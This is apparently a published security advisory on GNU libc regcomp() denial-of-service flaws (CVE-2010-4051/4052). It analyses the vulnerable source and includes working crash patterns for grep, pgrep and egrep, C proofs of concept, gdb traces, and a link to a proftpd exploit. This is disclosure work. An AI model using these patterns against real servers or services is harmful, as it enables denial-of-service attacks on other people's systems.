GNU libc/regcomp(3) Multiple Vulnerabilities

2011-01-06 / 2012-03-12
Risk: Medium
Local: Yes
Remote: Yes
CWE: CWE-399

[ GNU libc/regcomp(3) Multiple Vulnerabilities ] Author: Maksymilian Arciemowicz http://cxib.net/ Date: - - Dis.: 01.10.2010 - - Pub.: 07.01.2011 CERT: VU#912279 CVE: CVE-2010-4051 CVE-2010-4052 Affected (tested): - - Ubuntu 10.10 - - Slackware 13 - - Gentoo 18.10.2010 - - FreeBSD 8.1 (grep(1)) - - NetBSD 5.0.2 (grep(1)) Exploit for proftpd: http://cxib.net/stuff/proftpd.gnu.c - --- 0.Description --- The GNU C library is used as the C library in the GNU system and most systems with the Linux kernel. # define RE_DUP_MAX (0x7fff) regcomp() is used to compile a regular expression into a form that is suitable for subsequent regexec() searches. - --- 1. RE_DUP_MAX overflow --- The main problem exists in regcomp(3) function of GNU libc implementation. Let`s try understand.. - --- int regcomp (preg, pattern, cflags) regex_t *__restrict preg; const char *__restrict pattern; int cflags; { - --- if we use '{', token type will be OP_OPEN_DUP_NUM. - --- /* This function parse repetition operators like "*", "+", "{1,3}" etc. */ static bin_tree_t * parse_dup_op (bin_tree_t *elem, re_string_t *regexp, re_dfa_t *dfa, re_token_t *token, reg_syntax_t syntax, reg_errcode_t *err) { bin_tree_t *tree = NULL, *old_tree = NULL; int i, start, end, start_idx = re_string_cur_idx (regexp); re_token_t start_token = *token; if (token->type == OP_OPEN_DUP_NUM) { end = 0; start = fetch_number (regexp, token, syntax); <===== CONVERT VALUE - --- let`s see fetch_number => - --- static int fetch_number (re_string_t *input, re_token_t *token, reg_syntax_t syntax) { int num = -1; unsigned char c; while (1) { fetch_token (token, input, syntax); c = token->opr.c; if (BE (token->type == END_OF_RE, 0)) return -2; if (token->type == OP_CLOSE_DUP_NUM || c == ',') break; num = ((token->type != CHARACTER || c < '0' || '9' < c || num == -2) ? -2 : ((num == -1) ? c - '0' : num * 10 + c - '0')); num = (num > RE_DUP_MAX) ? -2 : num; } return num; } - --- now see regex.h to know, what value have RE_DUP_MAX - --- /* Maximum number of duplicates an interval can allow. Some systems (erroneously) define this in other header files, but we want our value, so remove any previous define. */ # ifdef RE_DUP_MAX # undef RE_DUP_MAX # endif /* If sizeof(int) == 2, then ((1 << 15) - 1) overflows. */ # define RE_DUP_MAX (0x7fff) #endif - --- calc_eclosure_iter() will call to calc_eclosure_iter() match time. and crash in malloc(3). Simple Recursion. so we can't use value bigger 0x7fff in {n,}. regcomp(3) should return ERROR if we use more that one time '{' token. They are many vectors attack grep(1): cx@cx64:~$ ls |grep -E ".*{10,}{10,}{10,}{10,}{10,}" Segmentation fault pgrep(1): cx@cx64:~$ pgrep ".*{10,}{10,}{10,}{10,}{10,}" Segmentation fault bregex from bacula-director-common cx@cx64:~$ bregex -f glob-0day.c Enter regex pattern: .*{10,}{10,}{10,}{10,}{10,} Segmentation fault whatis(1): cx@cx64:~$ whatis -r ".*{10,}{10,}{10,}{10,}{10,}" Segmentation fault and more like proftpd. Simple crash for CVE-2010-4051 (gdb) x/i $rip => 0x7ffff7ad3ea2: mov %eax,0x50(%rsp) (gdb) x/i $eax 0x2: Cannot access memory at address 0x2 (gdb) x/i $rsp 0x7fffff5fef90: Cannot access memory at address 0x7fffff5fef90 (gdb) x/i 0x50($rsp) Cannot access memory at address 0x7fffff5fef08 #0 0x00007ffff7ad3ea2 in ?? () from /lib/libc.so.6 #1 0x00007ffff7ad538e in malloc () from /lib/libc.so.6 #2 0x00007ffff7b17d9b in ?? () from /lib/libc.so.6 #3 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6 #4 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6 #5 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6 #6 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6 #7 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6 ... - ---PoC1--- #include <regex.h> int main(){ regex_t preg; // char fmt[]=".*{10,}{10,}{10,}{10,}"; // CVE-2010-4052 char fmt[]=".*{10,}{10,}{10,}{10,}{10,}"; CVE-2010-4051 regcomp (&preg, fmt, REG_EXTENDED); return 0; } - ---PoC1--- - --- 2. Stack Exhausion --- This issue, may be also use to Denial of Service by stack exhausion #ls |grep -E ".*{10,}{10,}{111111,}" - ---PoC2--- #include <regex.h> int main () { regex_t preg; char fmt[]=".*{10,}{10,}{10,}{10,}"; // CVE-2010-4052 // char fmt[]=".*{10,}{10,}{10,}{10,}{10,}"; // CVE-2010-4051 regcomp (&preg, fmt, REG_EXTENDED); return 0; } - ---PoC2--- Such a pattern may lead to allocate a large memory area, or large execution time As we can read in vsftpd/HACKING - --- - do not use libc features that are "complicated" and may contain security holes. For example, you probably shouldn't try to use regcomp() to compile an untrusted regular expression. Regular expressions are just too complicated, and there are many different libc's out there. - --- That's true. But the worst implementation of lib C is GNU. There is a huge difference using proftpd on NetBSD and Linux - --- 3. Stack Exhausions --- Stack Exhausions was found in GNU glibc. - ---PoC3--- /bin/egrep "/(.*+++++++++++++++++++++++++++++(\w+))/im" cx - ---PoC3--- when more '+' that more allocated memory. But let's see next one - ---PoC4--- cx@cx64:~$ ulimit -m 100000 cx@cx64:~$ ulimit -v 200000 cx@cx64:~$ /bin/egrep "/(.*+++++++++++++++++++++++++++++(\w+))/im" cx Segmentation fault cx@cx64:~$ - ---PoC4--- the same command like in PoC 3, fails. (gdb) r "/(.*++++++++++++++++++(\w+))/im" cx Starting program: /bin/egrep "/(.*++++++++++++++++++(\w+))/im" cx /bin/egrep: Memory exhausted Add one "+" more Program exited with code 02. (gdb) r "/(.*+++++++++++++++++++(\w+))/im" cx The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /bin/egrep "/(.*+++++++++++++++++++(\w+))/im" cx Program received signal SIGSEGV, Segmentation fault. __libc_free (mem=0x7ffff720a010) at malloc.c:3709 3709 if (chunk_is_mmapped(p)) /* release mmapped memory. */ (gdb) bt #0 __libc_free (mem=0x7ffff720a010) at malloc.c:3709 #1 0x00007ffff7913431 in free_dfa_content (dfa=0x61f0c0) at regcomp.c:600 #2 0x00007ffff7924e1c in re_compile_internal (preg=0x61f060, pattern=0x0, length=140737488347176, syntax=<value optimized out>) at regcomp.c:823 #3 0x00007ffff79256de in __re_compile_pattern (pattern=0x0, length=<value optimized out>, bufp=0x7ffff720a010) at regcomp.c:231 - ---malloc.c--- ... if (mem == 0) /* free(0) has no effect */ return; p = mem2chunk(mem); #if HAVE_MMAP if (chunk_is_mmapped(p)) ... - ---malloc.c--- where #define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ)) mem variable (mem=0x7ffff720a010) (gdb) x/x 0x7ffff720a010 0x7ffff720a010: 0x00 or (gdb) x/x 0x7ffff720a010 0x7ffff720a010: Cannot access memory at address 0x7ffff720a010 (gdb) x/i $rip => 0x7ffff78d2c2d <__libc_free+29>: mov -0x8(%rdi),%rsi (gdb) x/i $rdi 0x7ffff7ed3010: Cannot access memory at address 0x7ffff7ed3010 (gdb) x/i $rsi 0x0: Cannot access memory at address 0x0 or check this (gdb) r "/(.*+++++++++++++++++++(\w+))/im" cx The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /bin/egrep "/(.*+++++++++++++++++++(\w+))/im" cx Program received signal SIGSEGV, Segmentation fault. parse_dup_op (regexp=0x7fffffffdf70, preg=<value optimized out>, token=0x7fffffffe010, syntax=<value optimized out>, nest=<value optimized out>, err=<value optimized out>) at regcomp.c:2547 2547 if (elem->token.type == SUBEXP) (gdb) x/i $rip => 0x7ffff7922644 <parse_expression+756>: cmpb $0x11,0x30(%r15) (gdb) x/i $r15 0x0: Cannot access memory at address 0x0 rax 0x0 0 rbx 0x61f0c0 6418624 rcx 0xffffffffffffffa8 -88 rdx 0x0 0 rsi 0x61f0c0 6418624 rdi 0x0 0 rbp 0x7fffffffe010 0x7fffffffe010 rsp 0x7fffffffdb70 0x7fffffffdb70 r8 0xffffffff 4294967295 r9 0x0 0 r10 0x4022 16418 r11 0x246 582 r12 0x7fffffffdf70 140737488346992 r13 0x4730ae8 74648296 r14 0xffffffff 4294967295 r15 0x0 0 rip 0x7ffff7922644 0x7ffff7922644 <parse_expression+756> #0 parse_dup_op (regexp=0x7fffffffdf70, preg=<value optimized out>, token=0x7fffffffe010, syntax=<value optimized out>, nest=<value optimized out>, err=<value optimized out>) at regcomp.c:2547 #1 parse_expression (regexp=0x7fffffffdf70, preg=<value optimized out>, token=0x7fffffffe010, syntax=<value optimized out>, nest=<value optimized out>, err=<value optimized out>) at regcomp.c:2390 #2 0x00007ffff792387e in parse_branch (regexp=0x0, preg=0x61f0c0, token=0x0, syntax=18446744073709551528, nest=-1, err=0x0) at regcomp.c:2163 #3 parse_reg_exp (regexp=0x0, preg=0x61f0c0, token=0x0, syntax=18446744073709551528, nest=-1, err=0x0) at regcomp.c:2122 if (BE (start > 0, 0)) { tree = elem; for (i = 2; i <= start; ++i) { elem = duplicate_tree (elem, dfa); tree = create_tree (dfa, tree, elem, CONCAT); if (BE (elem == NULL || tree == NULL, 0)) goto parse_dup_op_espace; } if (start == end) return tree; /* Duplicate ELEM before it is marked optional. */ elem = duplicate_tree (elem, dfa); old_tree = tree; } else old_tree = NULL; if (elem->token.type == SUBEXP) <=CRASH HERE These vulnerabilities are not really dangerous. However, there is the possibility to use the DoS attack. An example might be an exploit for proftpd. Option 3 allows to exhaustion avaliable memory. In my opinion, the GNU should fix the problem. - --- 4. Exploit --- proftpd/linux: http://cxib.net/stuff/proftpd.gnu.c - --- 5. Greets --- Christos Zoulas, US-CERT - --- 6. Contact --- Author: Maksymilian Arciemowicz Email: - - cxib {a\./t] cxsecurity [d=t} com http://cxib.net/

References:

http://cxib.net/stuff/proftpd.gnu.c
http://cxib.net/
http://www.kb.cert.org/vuls/id/912279
https://bugzilla.redhat.com/show_bug.cgi?id=645859


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top